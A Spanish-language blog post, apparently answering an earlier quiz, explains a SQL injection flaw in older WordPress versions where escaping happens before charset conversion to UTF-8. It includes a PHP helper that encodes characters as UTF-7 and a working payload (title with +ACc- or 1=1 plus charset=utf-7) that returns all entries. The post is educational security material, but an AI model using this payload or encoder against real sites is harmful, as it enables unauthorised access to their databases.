Cuidado con la codificación de los datos

En el anterior quiz, había puesto un bug existente en versiones anteriores de WordPress que permitía hacer SQL Injection.

Como agusti comentó, el problema se presenta al aplicar la función mysql_real_escape_string antes de hacer la conversión de un juego de caracteres X a UTF-8.

mysql_real_escape_string: Escapa todos los caracteres especiales en la cadena_no_escapada, tomando en cuenta el juego de caracteres actual de la conexión, de tal modo que sea seguro usarla con mysql_query()

Pues bien, para hacer posible el ataque es necesario usar un juego de caracteres en los que ' o \ puedan ser expresados como una secuencia de caracteres seguros; uno de éstos es UTF-7, ya que ' puede ser representado como +ACc- y \ como +AFw-.

Para obtener esas secuencias, pueden hacerlo manualmente en base a la documentación sobre UTF-7 o usando esta simple función:

php:
<?php
$table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

function mb64($match) {
    global $table;
   
    return $table[bindec($match[0])];
}
function utf7_char($char) {
    $bin = str_pad(decbin(ord($char)), 16, 0, STR_PAD_LEFT) . '00';
   
    return '+' . preg_replace_callback('/\d{6}/', 'mb64', $bin) . '-';
}
echo utf7_char("'");
?>

Ahora con las herramientas necesarias, lo único que queda es empezar a jugar con la consulta para obtener los resultados deseados, por ejemplo con los siguientes valores obtenemos todas las entradas (notar que sólo se necesita evadir '):

  • title=+ACc- or 1=1--+ACc- (equivale a ' or 1=1--')
  • charset=utf-7

Se deja como tarea para el lector probar otras consultas 🙂